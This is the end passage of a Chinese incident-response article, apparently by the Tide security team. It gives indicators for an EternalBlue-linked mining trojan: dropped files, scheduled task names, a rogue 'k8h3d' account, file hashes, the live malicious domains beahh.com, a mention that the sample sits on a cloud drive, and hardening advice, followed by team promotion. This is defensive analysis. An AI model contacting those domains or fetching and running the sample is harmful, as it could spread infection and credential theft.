在进一步查阅网上的资料的时候,发现该病毒程序有多个迭代版本,是一个相当成熟的挖矿木马病毒,这次的分析只限于我遇到的这个版本,其他版本可以参考这篇文章:永恒的对手:永恒之蓝挖矿木马的前世今生,其中有详细的描述。

0x03 病毒特征

C:\Windows\Temp目录下是否有svchost.exe、m2.sp1、mkztz.ini等文件

②是否有名为bluetool、Bluetooths、escan、Autostart、Autocheck的计划任务。

C:\user\username\AppData\Local\Temp目录下,_MEI*开头的文件夹,文件夹中的内容为病毒运行所需要的库文件。

④是否被添加了k8h3d用户,k8h3d用户在没有文件落地的情况下是不会被删除的。

因为该病毒迭代版本较多,有些特征可能不太一样,但是基本上有上面几个特征,就可以判断是该病毒。

关键字:svchost.exe、m2.sp1、mimikatz、mkztz.ini、bluetool、Bluetooths、k8h3d、escan、Autostart、Autocheck

HASH:
SHA256:8d2b4bea577e6733b0a468bf1e7a4820d1699be5f57337913f5c8644e00426ed
MD5:4b18c3ca76424880ee4757ab7047470d
SHA1:558b7d0012836bf6bc1988986a3ab9d0b51d531d

恶意域名:
http://w.beahh.com/
http://v.beahh.com/v

0x04 修复建议

1、发现病毒后断开网络减少传播范围,删除计划任务;

2、关闭不必要的端口(如135、139、445等);

3、定期修复安全补丁漏洞,Windows7微软已经停止更新,建议使用更新版本操作系统;

4、修改弱口令为复杂密码并定期修改密码;

5、安装杀毒软件等防病毒工具进行全盘扫描。

Tips:病毒样本已经上传在线网盘,感兴趣的小伙伴可以去网盘下载。

往期推荐

TscanPlus-一款红队自动化工具

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247517019&idx=1&sn=7d0fee063063708c4fa4a3c7302a4721&chksm=ce5da13af92a282c2417c97cae2993a0e64783b5909824ae5c8daacb501c5b671e9ec3c380ad&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh